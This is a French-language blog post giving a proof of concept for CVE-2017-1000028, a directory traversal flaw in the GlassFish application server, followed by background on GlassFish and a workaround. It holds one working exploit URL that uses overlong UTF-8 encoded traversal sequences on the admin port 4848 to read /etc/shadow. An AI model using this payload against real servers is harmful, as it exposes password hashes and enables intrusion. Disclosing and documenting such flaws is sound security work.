POC CVE-2017-1000028

Vulnérabilité : Directory Transversale dans glassfish

GlassFish est le nom du serveur d'applications Open Source Java EE 5 et désormais Java EE 7 avec la version 4.1 qui sert de socle au produit Oracle GlassFish Server4 (anciennement Sun Java System Application Server5 de Sun Microsystems). Sa partie Toplink persistence6 provient d'Oracle. C'est la réponse aux développeurs Java désireux d'accéder aux sources et de contribuer au développement des serveurs d'applications de nouvelle génération.

À la suite du rachat de Sun par Oracle début 2010, la version commerciale de GlassFish est concurrencé au sein d'Oracle par Weblogic. En 2013 sort Glassfish 4, supportant JEE 78. Quelques mois plus tard la version commerciale de GlassFish est abandonnée9. La version Open-source de GlassFish est maintenue au moins jusqu'à la version 5, il constituera l'implémentation de référence de Java EE 8.

La distribution dite Open Source Edition est placée sous double licence CDDL et GPLv2.

Bon Maintenant trève de mondanité. Une Faille de type directory transversale à récèment été découvert dans GlassFish. Le plus interressant ou le plus grave cconcernant cette faille c'est qu'elle est d'un facilité déconcertante au niveau de son exploitation. De plus elle permet à un attaquant de récupérer des information très sensible sur le serveur qui héberge le service. Plus grave la faille n'affecte pas la version commercial et du coup celle-ci n'a toujours pas été corrigé dans la version Open Source :-1:

Proof OF Concept

Pour ce faire j'ai installer un serveur sur une instance centos avec un Glassfish qui tourne derrière :+1:.

Exploitation :

Dans un navigateur

https://@IP_GlassFish:4848/theme/META-INF/%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afetc%c0%afshadow/

Capture d’écran 2017-08-04 à 17.52.13

Correction

Comme expliquer plus haut la faille n'a pas été corrigé et toutes les versions de GlassFish reste à ce jour vulnérable. Pour contourner cet faille il faut fermé l'accès distant au port 4848 ou tout port désigné pour l'interface d'authentificatin admin.